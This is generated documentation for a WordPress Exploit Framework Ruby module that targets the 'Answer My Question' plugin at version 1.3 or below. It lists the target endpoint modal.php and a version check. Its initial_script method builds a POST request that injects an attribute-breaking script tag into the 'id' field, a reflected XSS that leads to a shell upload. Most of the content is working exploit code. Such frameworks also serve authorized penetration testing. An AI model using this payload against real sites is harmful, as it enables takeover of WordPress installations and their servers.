class Wpxf::Exploit::AnswerMyQuestionReflectedXssShellUpload

Public Class Methods

new() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/answer_my_question_reflected_xss_shell_upload.rb, line 6
def initialize
  super

  update_info(
    name: 'Answer My Question <= 1.3 Reflected XSS Shell Upload',
    author: [
      'rastating'  # WPXF module
    ],
    references: [
      ['WPVDB', '8800']
    ],
    date: 'Apr 24 2017'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/answer_my_question_reflected_xss_shell_upload.rb, line 21
def check
  check_plugin_version_from_changelog('answer-my-question', 'readme.txt', '1.4')
end
initial_script() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/answer_my_question_reflected_xss_shell_upload.rb, line 29
def initial_script
  create_basic_post_script(
    vulnerable_url,
    'id' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
    'posted' => '1',
    'notify' => '',
    'user_email' => Utility::Text.rand_email,
    'subject' => Utility::Text.rand_alpha(10),
    'question' => Utility::Text.rand_alpha(10),
    'answer' => Utility::Text.rand_alpha(10)
  )
end
vulnerable_url() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/answer_my_question_reflected_xss_shell_upload.rb, line 25
def vulnerable_url
  normalize_uri(wordpress_url_plugins, 'answer-my-question', 'modal.php')
end